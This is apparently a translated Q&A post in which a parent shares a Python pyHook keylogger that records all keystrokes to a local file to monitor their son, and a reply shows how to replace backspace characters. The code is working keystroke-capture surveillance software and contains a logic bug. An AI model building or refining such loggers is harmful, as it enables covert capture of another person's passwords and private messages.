0

私は pyHook を使用して重要なイベントをキャプチャし、息子の Web アクティビティを監視しています。バックスペース キーを使用すると、メモ帳に小さな黒いボックスとして表示される ascii としてファイルに書き込まれることに気付きました。

このブラックボックスを置き換える[BACKSPACE]か、ファイル内の文字を一般的にバックスペースして、読みやすくする方法はありますか?

これまでの私のコードは次のとおりです。

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
    f = open('c:\\output.txt','a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open('c:\\output.txt','w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        sys.exit()
    elif event.Ascii != 0 or 8:
        keylogs = chr(event.Ascii)
    elif event.Ascii == 13:
        keylogs = keylogs + '\n'
    else:
        pass
    f = open('c:\\output.txt','a')
    f.write(keylogs)
    f.close()

while True:
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
4

1 に答える 1

0

プレーンはstring.replaceいかがですか?

string.replace(your_string, '\b', ' ')

すべてのバックスペースをスペースに置き換えますyour_string

于 2013-05-27T16:27:08.580 に答える